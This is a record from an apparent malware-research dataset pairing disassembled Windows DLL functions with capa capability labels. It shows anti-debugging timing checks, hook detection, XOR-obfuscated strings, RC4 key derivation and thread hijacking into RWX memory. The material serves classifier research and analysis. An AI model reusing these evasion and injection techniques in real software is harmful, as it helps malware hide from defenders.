joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000b050
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
mov eax, dword [0x10050018]
xor eax, esp
mov dword [esp + 0x18], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
jne 0x1000b09a
mov dword [edi], 0
mov eax, edi
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x18]
xor ecx, esp
call fcn.1003eb30
mov esp, ebp
pop ebp
ret
cmp dword [esp + 0x1c], 0
jg 0x1000b0aa
jl 0x1000b079
cmp dword [esp + 0x18], 0
jbe 0x1000b079
mov ebx, dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea eax, [esp + 0x10]
push eax
xor esi, esi
call ebx
test eax, eax
jne 0x1000b0d1
nop dword [eax]
inc esi
cmp esi, 3
ja 0x1000b079
lea eax, [esp + 0x10]
push eax
call ebx
test eax, eax
je 0x1000b0c0
mov edx, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
call fcn.1003f9d0
mulsd xmm0, qword [0x10049248]
mov edx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
movsd qword [esp + 0x10], xmm0
call fcn.1003f9d0
movsd xmm1, qword [esp + 0x10]
divsd xmm1, xmm0
movaps xmm0, xmm1
call fcn.1003f87f
mov ecx, dword [esp + 0x24]
mov dword [edi], eax
mov eax, edi
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1003eb30
mov esp, ebp
pop ebp
ret

Function at 0x1000b460
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x10050018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov edi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1000b4bc
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], edi
je 0x1000b4d6
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x1000b4a6
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003eb30
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003eb30
mov esp, ebp
pop ebp
ret

Function at 0x1000b620
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
mov eax, 1
mov dword [0x1005007c], edx
mov ecx, edx
shr ecx, 0x1e
xor ecx, edx
imul edx, ecx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x1005007c], edx
inc eax
cmp eax, 0x270
jl 0x1000b631
mov dword [0x10050078], 0x270
pop ebp
ret 8
Function at 0x1000b750
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
lea eax, [ecx + 8]
mov esi, 0x270
nop dword [eax]
mov edx, dword [eax - 4]
lea eax, [eax + 4]
xor edx, dword [eax - 4]
and edx, 0x7fffffff
xor edx, dword [eax - 8]
mov ecx, edx
and cl, 1
movzx ecx, cl
neg ecx
sbb ecx, ecx
shr edx, 1
and ecx, 0x9908b0df
xor ecx, dword [eax + 0x62c]
xor ecx, edx
mov dword [eax + 0x9b8], ecx
sub esi, 1
jne 0x1000b760
pop esi
ret

Function at 0x1000b7a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, ecx
mov ecx, 0xe3
push esi
push edi
lea edi, [ebx + 0x9c4]
mov edx, dword [edi + 4]
lea edi, [edi + 4]
xor edx, dword [edi - 4]
and edx, 0x7fffffff
xor edx, dword [edi - 4]
mov eax, edx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr edx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, edx
mov dword [edi - 0x9c4], eax
sub ecx, 1
jne 0x1000b7b0
lea esi, [ebx + 0xd50]
mov edi, 0x18c
mov ecx, dword [esi + 4]
lea esi, [esi + 4]
xor ecx, dword [esi - 4]
and ecx, 0x7fffffff
xor ecx, dword [esi - 4]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi - 0xd50]
xor eax, ecx
mov dword [esi - 0x9c4], eax
sub edi, 1
jne 0x1000b7f2
mov ecx, dword [ebx + 0x1380]
xor ecx, dword [ebx + 4]
and ecx, 0x7fffffff
xor ecx, dword [ebx + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [ebx + 0x634]
xor eax, ecx
mov dword [ebx + 0x9c0], eax
mov dword [ebx], edi
pop edi
pop esi
pop ebx
ret
Function at 0x1000c360
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
movaps xmm0, xmmword [0x10049620]
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
push esi
movaps xmm0, xmmword [0x10049640]
movups xmmword [ebp - 0x24], xmm0
movaps xmm0, xmmword [0x10049330]
movups xmmword [ebp - 0x14], xmm0
nop word [eax + eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x2e
jb 0x1000c390
push 0
push 1
lea eax, [ebp - 0x33]
mov byte [ebp - 5], 0
push eax
push 0
push 0x10051f74
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x1000c47c
push 0x10051f70
push 0
push 0
push 0x8004
push dword [0x10051f74]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1000c47c
movaps xmm0, xmmword [0x10049c20]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x10], 0x772f797e
movaps xmm0, xmmword [0x100497d0]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0xc], 0x7d2b6d5f
movaps xmm0, xmmword [0x10049810]
movups xmmword [ebp - 0x20], xmm0
mov dword [ebp - 8], 0x3e6f654a
mov word [ebp - 4], 0x62
nop
mov al, byte [ebp - 0x40]
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0x3c
jb 0x1000c420
push 1
push 0x3c
lea eax, [ebp - 0x3f]
mov byte [ebp - 3], 0
push eax
push dword [0x10051f70]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1000c47c
push 0x10051f6c
push 0x800000
push dword [0x10051f70]
push 0x6801
push dword [0x10051f74]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
jne 0x1000c47c
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [0x10051f68], eax
call fcn.1003d780
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentThread]
call esi
push eax
call fcn.1003dc50
push 0x1000c240
push 0x10051f64
call fcn.1003d490
call fcn.1003d7e0
push 4
push 0x60f6e0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000c4ea
mov dword [0x10051f64], 0x60f6e0
call fcn.1003d780
call esi
push eax
call fcn.1003dc50
push 0x1000c240
push 0x10051f64
call fcn.1003d000
call fcn.1003d7e0
call fcn.1003d780
call esi
push eax
call fcn.1003dc50
push 0x1000c270
push 0x10051f60
call fcn.1003d490
call fcn.1003d7e0
push 4
push 0x60eab0
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x1000c547
mov dword [0x10051f60], 0x60eab0
call fcn.1003d780
call esi
push eax
call fcn.1003dc50
push 0x1000c270
push 0x10051f60
call fcn.1003d000
call fcn.1003d7e0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1000e5f0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
mov byte [ebp - 0x1c], 0x1c
mov al, 0x4b
xor al, byte [ebp - 0x1c]
mov cl, 0x4f
xor cl, byte [ebp - 0x1c]
mov ah, 0x2f
mov byte [ebp - 0x1b], al
mov dl, 0x2e
mov byte [ebp - 0x1a], cl
mov ch, dl
mov cl, byte [ebp - 0x1c]
mov dh, 0x32
mov byte [ebp - 1], 0x70
xor ah, cl
mov al, byte [ebp - 1]
xor dl, cl
xor al, cl
mov byte [ebp - 2], 0x70
mov byte [ebp - 0x13], al
xor ch, cl
mov al, byte [ebp - 2]
xor dh, cl
xor al, cl
mov byte [ebp - 0x17], ah
mov byte [ebp - 0x12], al
mov bl, 0x43
mov bh, 0x78
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x19], dl
xor bl, cl
mov byte [ebp - 0x16], ch
xor bh, cl
mov byte [ebp - 0x18], bl
push eax
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x11], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, eax
test esi, esi
jne 0x1000e671
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ah, 9
mov byte [ebp - 0xb], 0
mov al, 0x7a
mov byte [ebp - 0x10], ah
xor al, ah
mov byte [ebp - 0xb], 0
mov cl, 0x6c
mov byte [ebp - 0xf], al
mov dl, 0x67
mov bl, 0x6d
xor cl, ah
xor dl, ah
xor bl, ah
mov byte [ebp - 0xe], cl
lea eax, [ebp - 0xf]
mov byte [ebp - 0xd], dl
push eax
push esi
mov byte [ebp - 0xc], bl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1000e669
mov ecx, eax
call fcn.1000dee0
cmp al, 0xe9
je 0x1000e669
mov bh, 6
mov byte [ebp - 8], 0
mov al, 0x51
mov byte [ebp - 0x10], bh
mov ah, 0x63
mov byte [ebp - 8], 0
xor al, bh
xor ah, bh
mov cl, 0x55
mov byte [ebp - 0xf], al
mov byte [ebp - 0xb], ah
mov bl, cl
lea eax, [ebp - 0xf]
mov dl, 0x47
mov ch, 0x68
mov dh, 0x62
push eax
xor cl, bh
xor dl, bh
xor ch, bh
mov byte [ebp - 0xe], cl
xor dh, bh
mov byte [ebp - 0xd], dl
xor bl, bh
mov byte [ebp - 0xa], ch
push esi
mov byte [ebp - 0xc], bl
mov byte [ebp - 9], dh
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
pop esi
pop ebx
test eax, eax
je 0x1000e70e
mov ecx, eax
call fcn.1000dee0
cmp al, 0xe9
jne 0x1000e716
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret

Function at 0x1000fae0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10050018]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x6d12c0
call fcn.1000dee0
cmp al, 0xe9
jne 0x1000fb06
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
push 4
push 0x6d12c0
call esi
test eax, eax
jne 0x1000fb49
mov dword [0x10051fac], 0x6d12c0
call fcn.1003d780
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1003dc50
push 0x1000e8b0
push 0x10051fac
call fcn.1003d000
call fcn.1003d7e0
push 4
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x6d141e
push eax
call esi
test eax, eax
jne 0x1000fb8d
push 4
push 0x1000e850
call esi
test eax, eax
jne 0x1000fb8d
call fcn.1003d780
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call fcn.1003dc50
push 0x1000e850
lea eax, [ebp - 8]
push eax
call fcn.1003d000
call fcn.1003d7e0
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.1003eb30
mov esp, ebp
pop ebp
ret
Function at 0x1000fd10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x3c
mov eax, dword [0x10050018]
xor eax, esp
mov dword [esp + 0x38], eax
movaps xmm0, xmmword [0x10049d10]
xor ecx, ecx
mov eax, dword [0x10052018]
push ebx
push esi
push edi
mov edi, dword [0x10052014]
mov dword [esp + 0xc], edi
mov dword [esp + 0x24], eax
movups xmmword [esp + 0x10], xmm0
mov byte [esp + 0x20], 0
nop dword [eax]
mov al, byte [esp + 0x10]
xor byte [esp + ecx + 0x11], al
inc ecx
cmp ecx, 0xf
jb 0x1000fd50
sub esp, 0x18
mov byte [esp + 0x38], 0
mov edx, esp
mov dword [edx + 0x14], 0xf
mov dword [edx + 0x10], 0
mov byte [edx], 0
cmp byte [esp + 0x29], 0
jne 0x1000fd84
xor ecx, ecx
jmp 0x1000fd99
lea ecx, [esp + 0x29]
lea esi, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000fd90
sub ecx, esi
push ecx
lea eax, [esp + 0x2d]
mov ecx, edx
push eax
call fcn.10004440
lea ecx, [esp + 0x44]
call fcn.1003ab90
mov edx, dword [esp + 0x44]
add esp, 0x18
xor ebx, ebx
test edi, edi
mov edi, dword [esp + 0x40]
jle 0x1000fdfe
cmp edi, 0x10
lea ecx, [esp + 0x2c]
cmovae ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000fdd0
sub ecx, esi
mov eax, ebx
cmp edi, 0x10
lea esi, [esp + 0x2c]
cmovae esi, edx
xor edx, edx
div ecx
mov ecx, dword [esp + 0x24]
mov al, byte [edx + esi]
xor byte [ecx + ebx], al
inc ebx
mov edx, dword [esp + 0x2c]
cmp ebx, dword [esp + 0xc]
jl 0x1000fdc0
cmp edi, 0x10
jb 0x1000fe0d
lea eax, [edi + 1]
push eax
push edx
call fcn.10004bb0
mov ecx, dword [esp + 0x44]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1003eb30
mov esp, ebp
pop ebp
ret
Function at 0x10010a40
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10041000
mov eax, dword fs:[0]
push eax
sub esp, 0x48
mov eax, dword [0x10050018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp byte [0x10051f5e], 0
je 0x10010c12
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount64]
call esi
sub eax, dword [0x10051f90]
sbb edx, dword [0x10051f94]
mov dword [ebp - 0x48], edx
jne 0x10010a9b
cmp eax, 0xbb8
jb 0x10010c12
call esi
movaps xmm0, xmmword [str._hIMA]
xor ecx, ecx
mov dword [0x10051f90], eax
mov dword [0x10051f94], edx
movups xmmword [ebp - 0x20], xmm0
mov al, byte [ebp - 0x20]
xor byte [ebp + ecx - 0x1f], al
inc ecx
cmp ecx, 0xe
jb 0x10010ab5
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1f]
mov ecx, esp
push eax
call fcn.10003b10
lea ecx, [ebp - 0x44]
call fcn.1003ab90
add esp, 0x18
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x14], 0
movq qword [ebp - 0x1c], xmm0
mov byte [ebp - 0x4d], 0xa1
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
mov byte [ebp - 0x28], 1
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
push 0x1000
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 1
call fcn.10008460
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x18]
mov edi, edx
mov ecx, dword [ebp - 0x1c]
sub edi, ecx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], vtable.Packet.0
cmp edi, 0x989680
ja 0x10010b7f
lea esi, [eax + 1]
cmp edi, esi
jae 0x10010b72
push esi
lea ecx, [ebp - 0x1c]
call fcn.10008600
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x4d]
mov byte [ecx + eax], dl
inc eax
mov edx, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
sub edx, ecx
mov byte [ebp - 4], 3
mov byte [ebp - 0x4d], 0xa2
cmp edx, 0x989680
ja 0x10010bb1
lea esi, [eax + 1]
cmp edx, esi
jae 0x10010ba7
push esi
lea ecx, [ebp - 0x1c]
call fcn.10008600
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov dl, byte [ebp - 0x4d]
mov byte [ecx + eax], dl
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x30], 0x10
lea eax, [ebp - 0x44]
lea ecx, [ebp - 0x2c]
cmovae eax, dword [ebp - 0x44]
push eax
call fcn.100082f0
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x48], eax
cmp ecx, 0x4000
ja 0x10010bf1
mov ecx, dword ds:[0x10044aa4]
mov ecx, dword ds:[ecx]
push dword [ebp - 0x54]
push dword [ebp - 0x48]
call dword [0x10044aa0]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x2c], vtable.ByteBuffer.0
call fcn.10008590
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x10010c12
inc eax
push eax
push dword [ebp - 0x44]
call fcn.10004bb0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1003eb30
mov esp, ebp
pop ebp
ret
Function at 0x10012280
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
mov eax, dword [0x10050018]
xor eax, esp
mov dword [esp + 0x30], eax
movaps xmm0, xmmword [0x10049c00]
push esi
mov esi, ecx
mov dword [esp + 0x14], 0x606c6621
movups xmmword [esp + 4], xmm0
mov byte [esp + 0x18], 0
xor ecx, ecx
mov al, byte [esp + 4]
xor byte [esp + ecx + 5], al
inc ecx
cmp ecx, 0x13
jb 0x100122b2
lea eax, [esp + 5]
mov byte [esp + 0x18], 0
push eax
mov edx, 0x100522b8
lea ecx, [esp + 0x20]
call fcn.1000d300
mov eax, dword [esi + 0x1fc]
add esp, 4
test eax, eax
je 0x100122ec
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [esp + 0x30], 0x10
lea eax, [esp + 0x1c]
push 0x8010
cmovae eax, dword [esp + 0x20]
push 0
push 0
push 1
push eax
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1001232d
cmp byte [esi + 0x200], 0
mov dword [esi + 0x14], eax
je 0x1001232d
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov eax, dword [esp + 0x30]
cmp eax, 0x10
jb 0x10012341
inc eax
push eax
push dword [esp + 0x20]
call fcn.10004bb0
mov ecx, dword [esp + 0x34]
pop esi
xor ecx, esp
call fcn.1003eb30
mov esp, ebp
pop ebp
ret
Function at 0x100124c0
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10050018]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x1c
mov dword [ebp - 0x2f8], 0x70684e1c
mov dword [ebp - 0x2f4], 0x787d7350
xor eax, eax
mov dword [ebp - 0x2f0], 0x756e684f
mov word [ebp - 0x2ec], 0x7b72
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1001251a
mov cl, byte [ebp - 0x2f8]
jmp 0x10012505
push ebx
mov byte [ebp - 0x2e8], 0xf
mov al, 0x61
xor al, byte [ebp - 0x2e8]
mov bl, 0x63
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0x6b
mov bh, ah
mov byte [ebp - 0x2d9], ah
xor bl, al
mov byte [ebp - 0x2de], 0
xor ah, al
mov byte [ebp - 0x2ea], 0
xor bh, al
mov byte [ebp - 0x2e3], ah
mov dh, dl
mov byte [ebp - 0x2e4], bl
xor dl, al
mov byte [ebp - 0x2e0], bh
xor dh, al
mov byte [ebp - 0x2e5], dl
mov cl, 0x7b
mov byte [ebp - 0x2e1], dh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x21
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2f7]
push esi
push eax
lea eax, [ebp - 0x2e7]
mov byte [ebp - 0x2e2], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
jne 0x100125e1
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1003eb30
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x100125cf
push 0x2cc
lea eax, [ebp - 0x2d8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x100125cf
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x100125cf
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x100125cf
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x10001e90
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x100125cf
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
pop ebx
call fcn.1003eb30
mov esp, ebp
pop ebp
ret
Function at 0x100126b0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
mov byte [ebp - 0x14], 9
mov al, 0x67
xor al, byte [ebp - 0x14]
mov bl, 0x65
mov ah, bl
mov byte [ebp - 0x13], al
mov al, byte [ebp - 0x14]
mov dl, 0x6d
mov bh, ah
mov byte [ebp - 1], ah
mov dh, dl
mov byte [ebp - 0xa], 0
xor dl, al
mov byte [ebp - 0xa], 0
xor bl, al
mov byte [ebp - 0x11], dl
xor ah, al
mov byte [ebp - 0x10], bl
xor dh, al
mov byte [ebp - 0xf], ah
xor bh, al
mov byte [ebp - 0xd], dh
mov cl, 0x7d
mov byte [ebp - 0xc], bh
xor cl, al
mov ch, 0x27
xor ch, al
mov byte [ebp - 0x12], cl
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x14]
mov esi, dword [0x10051f8c]
mov byte [ebp - 0xb], al
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0xe], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
jne 0x1001272c
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
movaps xmm0, xmmword [0x10049bf0]
xor eax, eax
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0x746e5268
mov dword [ebp - 0x18], 0x626763
mov cl, byte [ebp - 0x2c]
xor byte [ebp + eax - 0x2b], cl
inc eax
cmp eax, 0x16
jb 0x10012747
lea eax, [ebp - 0x2b]
mov byte [ebp - 0x15], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x10012723
test esi, esi
jne 0x10012775
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
pop edi
test eax, eax
pop esi
sete al
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10012790
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x10050018]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov esi, ecx
call fcn.1000b460
test eax, eax
je 0x1001289c
push esi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
test eax, eax
setne bl
test ebx, ebx
je 0x1001289c
push eax
call esi
test ebx, ebx
je 0x1001289c
movaps xmm0, xmmword [0x10049450]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0xe
jb 0x100127f0
mov byte [ebp - 0x18], 0x75
mov al, 0x1b
xor al, byte [ebp - 0x18]
mov bl, 0x19
mov ah, bl
mov byte [ebp - 0x17], al
mov al, byte [ebp - 0x18]
mov dl, 0x11
mov bh, ah
mov byte [ebp - 9], ah
xor bl, al
mov byte [ebp - 0xe], 0
xor ah, al
mov byte [ebp - 0x19], 0
xor bh, al
mov byte [ebp - 0x13], ah
mov dh, dl
mov byte [ebp - 0x14], bl
xor dl, al
mov byte [ebp - 0x10], bh
xor dh, al
mov byte [ebp - 0x15], dl
mov cl, 1
mov byte [ebp - 0x11], dh
xor cl, al
mov byte [ebp - 0xe], 0
mov ch, 0x5b
mov byte [ebp - 0x16], cl
xor ch, al
mov al, byte [ebp - 9]
xor al, byte [ebp - 0x18]
mov byte [ebp - 0xf], al
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x17]
mov byte [ebp - 0x12], ch
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov ebx, eax
call fcn.1000df50
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x100128b5
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push edi
call ebx
test eax, eax
jns 0x100128a4
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp - 8], 0
jbe 0x100128b2
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1003eb30
mov esp, ebp
pop ebp
ret